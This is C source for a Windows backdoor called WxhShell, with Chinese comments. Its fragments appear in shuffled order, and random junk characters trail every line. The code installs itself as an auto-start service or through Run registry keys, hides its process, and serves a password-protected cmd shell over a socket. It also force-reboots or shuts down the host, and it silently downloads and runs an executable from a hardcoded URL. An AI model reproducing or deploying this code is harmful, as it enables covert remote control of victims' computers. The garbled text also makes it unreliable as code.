    if(Boot(SHUTDOWN)) kVWcf-f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pt.V^a  
    else { 2T+-[}*  
    closesocket(wsh); ;G8H' gM07  
    ExitThread(0); "!zJQl@  
    } $k0(iFzR1  
    break; #&kj>   
    } ;@qS#7SRB  
  // 获取shell I9G^T' W  
  case 's': { Skci;4T(  
    CmdShell(wsh); gC2}?nq*  
    closesocket(wsh); xgcJEox!  
    ExitThread(0); LcvczS T  
    break; J$yq#LBbR@  
  } f:+/= MW  
  // 退出 M]6+s`?r  
  case 'x': { ;dUKFdKH}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V4jMx[   
    CloseIt(wsh); .5a>!B.I  
    break; A{q%sp:3~  
    } k)7i^ 1U  
  // 离开 =QVkY7  
  case 'q': { fdK E1,;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #T8o+tv  
    closesocket(wsh); Qb?a[[3  
    WSACleanup(); )/ 'WboL  
    exit(1); \54B  
    break; AA[1[  
        } w~v6=^  
  } nu+K N,3R"  
  } 8WQ#)  
&zy%_U2%  
  // 提示信息 af | mk@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F_:zR,P%#  
} Ty&1R?  
  } <}[ !k<  
I[|Y 2i  
  return; BkB _?^Nv8  
} B,%6sa~I  
&2u |7U.  
// shell模块句柄 ]'Eg2(wy  
int CmdShell(SOCKET sock) <J+Oh\8tad  
{ xK_UkB-$i  
STARTUPINFO si; 7<]&pSt=  
ZeroMemory(&si,sizeof(si)); *B!Ox}CI.L  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J8S$YRZ_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -y!Dg6 A  
PROCESS_INFORMATION ProcessInfo; KDEyVYO:  
char cmdline[]="cmd"; (.!9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `Z,WKus  
  return 0; :1qLRr  
} #1$4<o#M  
z{OL+-OY  
// 自身启动模式 5PeYQ-B|  
int StartFromService(void) @>46.V{P}B  
{ Wo&22,EB  
typedef struct h?dSn:Y\?  
{ `&c[ s%0  
  DWORD ExitStatus; gBV4IQ  
  DWORD PebBaseAddress; V.`hk^V,  
  DWORD AffinityMask; wT!?.Y)aj  
  DWORD BasePriority; a({Rb?b  
  ULONG UniqueProcessId; yT OZa-  
  ULONG InheritedFromUniqueProcessId; N~/X.D4e#  
}   PROCESS_BASIC_INFORMATION; Wtu-g**KN  
Td|,3 n  
PROCNTQSIP NtQueryInformationProcess; V z  
,X_3#!y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i695P}J2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A nl1+  
[/hoNCH!  
  HANDLE             hProcess; =t_+ajY%  
  PROCESS_BASIC_INFORMATION pbi; {'zS8  
`TO Xkt j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m_Hg!Lg  
  if(NULL == hInst ) return 0; 83vZRQw  
4 `l$0m@>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _Ml?cT/J.O  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?& :N|cltD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6,LE_ -G5  
BKTTta1mY  
  if (!NtQueryInformationProcess) return 0; +arh/pd_I  
Nk -xnTZ"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GtmoFSZ  
  if(!hProcess) return 0; JQbaD-  
/>Zfx.Aj6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NaoOgZ?  
8HLL3H0  
  CloseHandle(hProcess); )2"g)9!  
*j83E[(]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Oi|cTZ@A-  
if(hProcess==NULL) return 0; {nSgiqd"28  
^-?^iWQ G  
HMODULE hMod; z<t2yh(DF  
char procName[255]; 'g<{l&u  
unsigned long cbNeeded; vh2/d.MO  
uu]C;wl  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )M7yj O!  
;ja~Q .}4  
  CloseHandle(hProcess); ?@x$ h  
h-(NWxK+  
if(strstr(procName,"services")) return 1; // 以服务启动 ]GRVU  
vRaxB  
  return 0; // 注册表启动 IG}yGGn  
} T@vE@D  
gF9GU5T:  
// 主模块 j# c@dze  
int StartWxhshell(LPSTR lpCmdLine) _0naqa!JyH  
{ z I9jxwXU  
  SOCKET wsl; A#q.)8  
BOOL val=TRUE; ql.[Uq  
  int port=0; (Q `Ps /  
  struct sockaddr_in door; zuMz6#aCC8  
K;THYMp/[  
  if(wscfg.ws_autoins) Install(); ~,F]~|U7l  
 3k6Dbz  
port=atoi(lpCmdLine); <au_S\n  
=?Co<972Z  
if(port<=0) port=wscfg.ws_port; K ..Pn 17t  
\g]rOYW  
  WSADATA data; :k_)Bh?+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z{ YuX  
qe1>UfY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :L:] 3L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }n^}%GB  
  door.sin_family = AF_INET; nRq[il0 `i  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "<^ Vp-7r  
  door.sin_port = htons(port); B[&l<*O-y  
KvPLA{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { CO ZfR~}  
closesocket(wsl); t,w/L*r+w  
return 1; mOjjw_3gq  
} pIm ]WNX(  
&% (1?\~u  
  if(listen(wsl,2) == INVALID_SOCKET) { ,{"K^  
closesocket(wsl); Kzt:rhiB  
return 1; b<r*EY  
} %PR,TWe  
  Wxhshell(wsl); ?<0'h{zNy  
  WSACleanup(); o=5hG9dj  
D@{m  
return 0; lzFg(Ds!f  
.aK=z)  
} <T'fJcR  
0^2e^qf  
// 以NT服务方式启动 REX/:sB<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Sxy3cv53  
{ yYaYuf  
DWORD   status = 0; rTC|8e  
  DWORD   specificError = 0xfffffff; E>QEI;  
z&qOu8Jh  
  serviceStatus.dwServiceType     = SERVICE_WIN32; KJ-Q$ M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u91  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4^6Oh#p0  
  serviceStatus.dwWin32ExitCode     = 0; RzB64  
  serviceStatus.dwServiceSpecificExitCode = 0; _ -ec(w~/  
  serviceStatus.dwCheckPoint       = 0; )B @&q.2B=  
  serviceStatus.dwWaitHint       = 0; 2<2a3'pG  
4g.S!-H@R  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jNIz:_c-~  
  if (hServiceStatusHandle==0) return; i-k(/Y0  
m1p% ,  
status = GetLastError(); M9yqJPS}B  
  if (status!=NO_ERROR) !VfVpi+-  
{ I= z+`o8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9FT==>  
    serviceStatus.dwCheckPoint       = 0; ;ov}%t>UD  
    serviceStatus.dwWaitHint       = 0; 9I|Q`j?p`  
    serviceStatus.dwWin32ExitCode     = status; \\"CgH-  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4 >D5t)254  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )fT0FLl|1  
    return; 3bugVJ9 3  
  } E?m W4?  
M?$tHA~OX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SYOU &*  
  serviceStatus.dwCheckPoint       = 0; Y}x_ud,  
  serviceStatus.dwWaitHint       = 0; Gg7ZSB 7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Hp fTuydU  
} NL ceBok  
KkHlMwv  
// 处理NT服务事件,比如:启动、停止 o{ | |Ig  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0ENqK2  
{ YGq-AB  
switch(fdwControl) AWmJm)   
{ TF,a `?c`  
case SERVICE_CONTROL_STOP: Cmj `WSSa  
  serviceStatus.dwWin32ExitCode = 0; sy9YdPPE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; T~N877  
  serviceStatus.dwCheckPoint   = 0; lzZ=!dG  
  serviceStatus.dwWaitHint     = 0; #+3I$ k  
  { O{G $]FtF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U09@pne8  
  } ;77q~_g$  
  return; vf_pEkx*wD  
case SERVICE_CONTROL_PAUSE: ]JHY(H2|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nx4E}8!Lh  
  break; n<sA?T  
case SERVICE_CONTROL_CONTINUE: ^m^,:]I0P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "}UYsXg  
  break; \cq.M/p  
case SERVICE_CONTROL_INTERROGATE: YWa9|&m1  
  break; ),I7+rY  
}; 5s2/YG=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SB!m&;Tb  
} 7otqGE\2  
B.[5N;c  
// 标准应用程序主函数 !yTjO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j(=zc6m  
{ u]Y NF[]  
`?Xt ,  
// 获取操作系统版本 4=n%<U`Z/  
OsIsNt=GetOsVer(); |a[ :L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~;Xkt G:  
\U'TL_Ql  
  // 从命令行安装 ,}42]%$ G  
  if(strpbrk(lpCmdLine,"iI")) Install(); D D Crvl  
T]J#>LBd  
  // 下载执行文件 o!t1EPJE*  
if(wscfg.ws_downexe) {  SjO Iln  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zn{[]J  
  WinExec(wscfg.ws_filenam,SW_HIDE); fYv{M;  
} ! J@pox-t  
pDx}~IB  
if(!OsIsNt) { [Z?vC  
// 如果时win9x,隐藏进程并且设置为注册表启动 A&fh0E (t  
HideProc(); j k}m  
StartWxhshell(lpCmdLine); s97L/iH  
} V 5ihplAk  
else TDQh^Wo  
  if(StartFromService()) @AdJu-u  
  // 以服务方式启动 ,s1n! @9  
  StartServiceCtrlDispatcher(DispatchTable); %4E7 Tu,1  
else ?`O Dt]s  
  // 普通方式启动 P1l@K2r  
  StartWxhshell(lpCmdLine); !bCLi>8  
=1vVI Twl  
return 0; k||DcwO  
} aw:0R=S,>  
Wh> Y_ k  
p{Gg,.f!HM  
JZ=a3)x"  
=========================================== #0WO~wL  
N6<23kYM  
\ o&i63u  
]g; K_>@  
Zb#  
uQ.VW/>  
" ;nJCd1H  
@]h#T4z'  
#include <stdio.h> #B)`dA0a  
#include <string.h> G:rM_q9\u  
#include <windows.h> ~dwl7Qc  
#include <winsock2.h> $mOK|=tI_  
#include <winsvc.h> yx}Z:t  
#include <urlmon.h> Ic/<jFZXM  
K~WwV8c9;  
#pragma comment (lib, "Ws2_32.lib") QrPWS-3~!  
#pragma comment (lib, "urlmon.lib") 7_/.a9$G  
(Qq$ql27  
#define MAX_USER   100 // 最大客户端连接数 i9M6%R1m}E  
#define BUF_SOCK   200 // sock buffer S[" &8Fy  
#define KEY_BUFF   255 // 输入 buffer qwaw\vOA  
8`qw1dF  
#define REBOOT     0   // 重启 ZdH WSfO)O  
#define SHUTDOWN   1   // 关机 WiviH#hF  
3)g1e=\i$  
#define DEF_PORT   5000 // 监听端口 ?I 1@:?Qi  
1.H"$D>TC  
#define REG_LEN     16   // 注册表键长度 ]yVB66l  
#define SVC_LEN     80   // NT服务名长度 uj/le0  
 5>w>J  
// 从dll定义API 1^Zx-p3J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +V8yv-/{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >8tE`2[i*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3G8uXB_`}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nhCB ])u8l  
8a)EL*LH`  
// wxhshell配置信息 $ 9DZ5"  
struct WSCFG { =C\S6bF%  
  int ws_port;         // 监听端口 Qw5M\   
  char ws_passstr[REG_LEN]; // 口令 bt&vik _  
  int ws_autoins;       // 安装标记, 1=yes 0=no x{ZVq 4  
  char ws_regname[REG_LEN]; // 注册表键名 y~S[0]y>  
  char ws_svcname[REG_LEN]; // 服务名 `g :<$3}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6OTxtk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 JrL/LGY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {Ue6DK %  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G(0 bulq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a 5)[?ol  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yMSRUQ x  
w pCS]2  
}; MB |(,{S  
X}usyO'pW  
// default Wxhshell configuration In;z\"NN4  
struct WSCFG wscfg={DEF_PORT, Y]gt86  
    "xuhuanlingzhe", $qrr]U  
    1, t=e0z^2i+  
    "Wxhshell", )v-* WreS  
    "Wxhshell", !7 ^He3  
            "WxhShell Service", q2<J`G(tZ  
    "Wrsky Windows CmdShell Service", X"1<G3m4  
    "Please Input Your Password: ", O@=mN*<gg0  
  1, gaCGU<L  
  "http://www.wrsky.com/wxhshell.exe", <?J7Z|  
  "Wxhshell.exe" Ph%s.YAZ~  
    }; c,~44Z  
~fUSmc  
// 消息定义模块 i ('EBO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; */+s^{W7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |(H|2]b4 =  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8 [."%rzN  
char *msg_ws_ext="\n\rExit."; {Jy%h8n*  
char *msg_ws_end="\n\rQuit."; O#U"c5%  
char *msg_ws_boot="\n\rReboot..."; P< &/$x6  
char *msg_ws_poff="\n\rShutdown..."; 88*RlxU  
char *msg_ws_down="\n\rSave to "; Q:Ms D.  
'_&(Iwu  
char *msg_ws_err="\n\rErr!"; aKUr":z  
char *msg_ws_ok="\n\rOK!"; z g j35  
s+w<!`-  
char ExeFile[MAX_PATH]; h9-Ky@X`  
int nUser = 0; J-ZM1HoB  
HANDLE handles[MAX_USER]; =dw1Q  
int OsIsNt; dB,#`tc=,  
G7202(w <  
SERVICE_STATUS       serviceStatus; [;2:lbPx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >>8w(PdTn%  
JS:lysu  
// 函数声明 &e)p6Egl  
int Install(void); 3"hR:'ts  
int Uninstall(void); :58'U|  
int DownloadFile(char *sURL, SOCKET wsh); e ^qnUjMy  
int Boot(int flag); MGz> ,c^wW  
void HideProc(void); .0-m=3mp2  
int GetOsVer(void); /t^lI%&  
int Wxhshell(SOCKET wsl); 4|L@oTzx  
void TalkWithClient(void *cs); :&-}S>pC  
int CmdShell(SOCKET sock); _Kj.  
int StartFromService(void); Iz8 ^? >X  
int StartWxhshell(LPSTR lpCmdLine); *;d)'7<  
MB 5[Js|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _Xv/S_yW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); . R}y"O\  
|K-lg rA  
// 数据结构和表定义 Ft rw3OxN  
SERVICE_TABLE_ENTRY DispatchTable[] = A(p  
{ T6r~OV5  
{wscfg.ws_svcname, NTServiceMain}, h3IkOh4|h  
{NULL, NULL} ~ 7Nyi dV;  
}; R"o,m  
g DG m32  
// 自我安装 L# 1vf  
int Install(void) @/(7kh +  
{ j1C.#-P[  
  char svExeFile[MAX_PATH]; 9tEKA|8  
  HKEY key; Ve1] ECk  
  strcpy(svExeFile,ExeFile); |P7f^0idk  
/xbZC{R  
// 如果是win9x系统,修改注册表设为自启动 mO> M=2A  
if(!OsIsNt) { 5O W(] y|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F s\P/YX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o#) !b:/  
  RegCloseKey(key); -b}S3<15@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -\$cGIL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D*gV S  
  RegCloseKey(key); [s{:}ZuKc  
  return 0; j/pQSlV  
    } walRqlo@  
  } R<-C>D  
} gtGKV  
else { 'sBXH EZA]  
U(=9&c@]  
// 如果是NT以上系统,安装为系统服务 m=,c,*>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 786_QV  
if (schSCManager!=0) $ ].k6,%{p  
{ SvP\JQ<c  
  SC_HANDLE schService = CreateService %=8(B.I!  
  ( = DTOI  
  schSCManager, aZ>\*1   
  wscfg.ws_svcname, b ]&zDo|8  
  wscfg.ws_svcdisp, {/xs9.8:JX  
  SERVICE_ALL_ACCESS, cu`J2vm3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H8]^f=  
  SERVICE_AUTO_START, ,Z7Z!.TY!  
  SERVICE_ERROR_NORMAL, .^IhH|U  
  svExeFile, M6*{#Y?  
  NULL, +Cg"2~  
  NULL, K!c@aD:#  
  NULL, K[ gWXBP  
  NULL, e=z_+gVm  
  NULL A=C3e4.C  
  ); 6Su@a%=j  
  if (schService!=0) <ii1nz  
  { 0s9z @>2  
  CloseServiceHandle(schService); * m&: Yje  
  CloseServiceHandle(schSCManager); :t{vgi D9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mhLRi\[c )  
  strcat(svExeFile,wscfg.ws_svcname); d74g|`/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #"8[8jyV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); UnWGMo?JEi  
  RegCloseKey(key); }`N2ZxC0AQ  
  return 0; ;;'a--'"  
    } U%t/wq  
  } YATdGLTeq  
  CloseServiceHandle(schSCManager); MR_bq_)  
} iQ{&&>V%  
} -+=:+LhSMb  
>`<2}Me6  
return 1; Dp*$GQ  
} )ClMw!ZrU  
t0J5v;  
// 自我卸载 d[]p_oIQq  
int Uninstall(void) fEw=I7{Y  
{ H[7cA9FI  
  HKEY key; 4iv]N 4  
|^PLZ>  
if(!OsIsNt) { <@e+-$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jfY{z=*]u  
  RegDeleteValue(key,wscfg.ws_regname); k<Tez{<  
  RegCloseKey(key); J/x@$'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HD:%Yv  
  RegDeleteValue(key,wscfg.ws_regname); +|?|8"Qg  
  RegCloseKey(key); r[v-?W'  
  return 0; %]<RRH.w  
  } _+*/~E  
} uPFHlT  
} .b#9q6F-/  
else { PyMVTP4  
0Ox|^V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $,;S\JmWP  
if (schSCManager!=0) %[n R|a<  
{ 1O9p YW5J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IypWVr   
  if (schService!=0) k%l_N)38  
  { e$Bf[F#;-  
  if(DeleteService(schService)!=0) { 2>$F0 M  
  CloseServiceHandle(schService); JEsLF{  
  CloseServiceHandle(schSCManager); F:;!) H*  
  return 0;  L%WME8PB  
  } z9M.e.  
  CloseServiceHandle(schService); Vm~qk  
  } mLg{6qm(q  
  CloseServiceHandle(schSCManager); ;vJ\]T ml  
} skI(]BDf  
} 5c]}G.NV  
$U>/i@D  
return 1; Q54r?|'V  
} 5 o#<`_=J  
Uvh~B^6  
// 从指定url下载文件 +5HnZ?E\  
int DownloadFile(char *sURL, SOCKET wsh) W-z90k4Z5  
{ I7fb}j`/  
  HRESULT hr; ou'~{-_xd  
char seps[]= "/"; F!gNt<fZ  
char *token; 3I"NI.>*  
char *file; c~^CKgr~R9  
char myURL[MAX_PATH]; 6 u-$  
char myFILE[MAX_PATH]; `ke3+%uj o  
w; 4jx(  
strcpy(myURL,sURL); ~H^'al2PK  
  token=strtok(myURL,seps); ^kn ^CI6  
  while(token!=NULL) OJP5k/U$  
  { 46bl>yk9<  
    file=token; 7v_i>_m]  
  token=strtok(NULL,seps); ~)q g  
  } |5xYT 'V  
V @D]bV@4  
GetCurrentDirectory(MAX_PATH,myFILE); OM.k?1%+M  
strcat(myFILE, "\\"); N] 14  
strcat(myFILE, file); wG1y,u'  
  send(wsh,myFILE,strlen(myFILE),0); %MJL5  
send(wsh,"...",3,0); O' +"d%2'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *u>lx!g  
  if(hr==S_OK) 90/vJN  
return 0; "z^(dF|  
else *Jvxs R'a1  
return 1; B%tIwUE2  
{L@+(I  
} '>j<yaD'  
I-b_h5ZD6  
// 系统电源模块 'K@-Z]  
int Boot(int flag) &]P"48NT  
{ HA6G)x  
  HANDLE hToken; KRYcCn  
  TOKEN_PRIVILEGES tkp; &E bI Op  
Q>.BQ;q]  
  if(OsIsNt) { (1CJw:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q%ruQ#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X rF3kz!44  
    tkp.PrivilegeCount = 1; ^=EjadVQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o=pt_!i/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?c!:81+\  
if(flag==REBOOT) {  gH %y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g"wxC@IR  
  return 0; i+f7  
} }A]BpSEP  
else { s]U4B<q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gQ37>  
  return 0; ~eP  
} nV}8M  
  } #G_F`&  
  else { !tEe\K\e  
if(flag==REBOOT) { WsR+Np@c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;7Y[c}V1^  
  return 0; ?GdsOg^  
} g\U/&.}DN  
else { hd B |#t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) AoYaVlKG8  
  return 0; !@G)$g=<  
} "PMQyzl  
} fN-Gk(Ic  
38~PWKt  
return 1; n@!wp/J,  
} MIq"Wy|Zs  
%aU4,j^],o  
// win9x进程隐藏模块 c'Z: 9?#5  
void HideProc(void) x4m 5JDC  
{  H;NbQ  
)RN<GW'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ebC)H  
  if ( hKernel != NULL ) 9#7J:PfZ<  
  { $5AC1g'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %_MEfuL  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); - v]Qhf&>  
    FreeLibrary(hKernel); o}8I_o&]U  
  } dC.bt|#Oz  
dAc ?O-~  
return; 3e%nA8?  
} mN*?%t  
ESTM$k }X  
// 获取操作系统版本 s~^}F+n  
int GetOsVer(void) m:uPEpcU  
{ [dB$U}SEj  
  OSVERSIONINFO winfo; k$N0lR4:p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <8!  Tq  
  GetVersionEx(&winfo); |7"$w%2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7]E m ,  
  return 1; e_.Gw"/Yl  
  else ]kD"&&HV  
  return 0; LY 0]l$  
} -)v@jlg02  
_ \D"E>oM  
// 客户端句柄模块 nirDMw[  
int Wxhshell(SOCKET wsl) fE]XWA4U  
{ 0 Y>M=|  
  SOCKET wsh; z.36;yT/  
  struct sockaddr_in client; D3D}DaEYj  
  DWORD myID; k GHQ`h  
_{4^|{>Pv  
  while(nUser<MAX_USER) Io  n~  
{ +lE90y  
  int nSize=sizeof(client); wi_'iv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D`[Khsf  
  if(wsh==INVALID_SOCKET) return 1; I|9 SiZ0  
pTJX""C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (W[V? !1  
if(handles[nUser]==0) `JB?c  
  closesocket(wsh); Z hd#:d  
else u JY)4T  
  nUser++; nhT-Ido  
  } H1/?+N}(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UAn&\8g_  
E{E0Z9t7&  
  return 0; *JX;|S  
} k&/OU:7Y  
"%qzj93>  
// 关闭 socket :e<7d8E5n{  
void CloseIt(SOCKET wsh) g%nl!dgS  
{ A1 "SLFY  
closesocket(wsh); cPDQ1qre!  
nUser--; ]QVNn?PA8  
ExitThread(0); rx0~`cVV:  
} ? *>]")[>  
9QQyl\  
// 客户端请求句柄 z^<L(/rg9"  
void TalkWithClient(void *cs) 3^?ZG^V  
{ ,m_WR7!$E  
99xEm  
  SOCKET wsh=(SOCKET)cs; H+E$:)gN  
  char pwd[SVC_LEN]; lf(`SYQnOY  
  char cmd[KEY_BUFF]; PjKEC N  
char chr[1]; |`TgX@,#9  
int i,j; 1)m@?CaI`  
F+m }#p  
  while (nUser < MAX_USER) { zcrY>t#l  
HpZ1xT  
if(wscfg.ws_passstr) { Zf$Np50@(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Gg Jf7ie4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #J (~_%Wi  
  //ZeroMemory(pwd,KEY_BUFF); 8N&+7FK  
      i=0; 21hv%CF\9  
  while(i<SVC_LEN) { ;oZ)Wt  
fGhn+8VfX  
  // 设置超时 WHXj8*]6  
  fd_set FdRead; s\!>"J bAQ  
  struct timeval TimeOut; oND@:>QBF  
  FD_ZERO(&FdRead); @,Gxk   
  FD_SET(wsh,&FdRead); 7xRl9  
  TimeOut.tv_sec=8; yY?b.ty  
  TimeOut.tv_usec=0; 0}!\$"|D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZKHG!`X0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (e(:P~Ry  
P3$Q&^?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Mmpfto%i  
  pwd=chr[0]; 9mA{K    
  if(chr[0]==0xd || chr[0]==0xa) { 'AN>`\mR$  
  pwd=0; 3k#~yaoI  
  break; nRyU]=-X  
  } =UUU$hq2  
  i++; S<'[%ihx  
    } Tg!m`9s+  
'%q$` KDb  
  // 如果是非法用户,关闭 socket /c uLc^(X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :oJ=iB'Zc  
} lOtDqb&  
CHe>OreiS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "g$IP9?U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +$g}4  
0 $,SF3K  
while(1) { u\C lP#  
>=[(^l  
  ZeroMemory(cmd,KEY_BUFF); B95B|tU>.  
")d`dj\o  
      // 自动支持客户端 telnet标准   0`^&9nR  
  j=0; z^T`x_mF  
  while(j<KEY_BUFF) { Q~Hy%M%R3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (1#J%  
  cmd[j]=chr[0]; :j+ ZI3@  
  if(chr[0]==0xa || chr[0]==0xd) { sBcPq SMby  
  cmd[j]=0; Hy^N!rBxfO  
  break; PYGRsrcFd#  
  } euC&0Ee2  
  j++; y&V@^ "`  
    } =3L;Z[^9  
Z<vKQ4 G  
  // 下载文件 V#iPj'*   
  if(strstr(cmd,"http://")) { p6;OL@ \~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K*~0"F>"0  
  if(DownloadFile(cmd,wsh)) r,h%[JKM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /Njd[= B  
  else ' ~8KSF*!p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9b9$GyI  
  } R^Y <RI  
  else { ee^{hQi  
`Tv[DIVW  
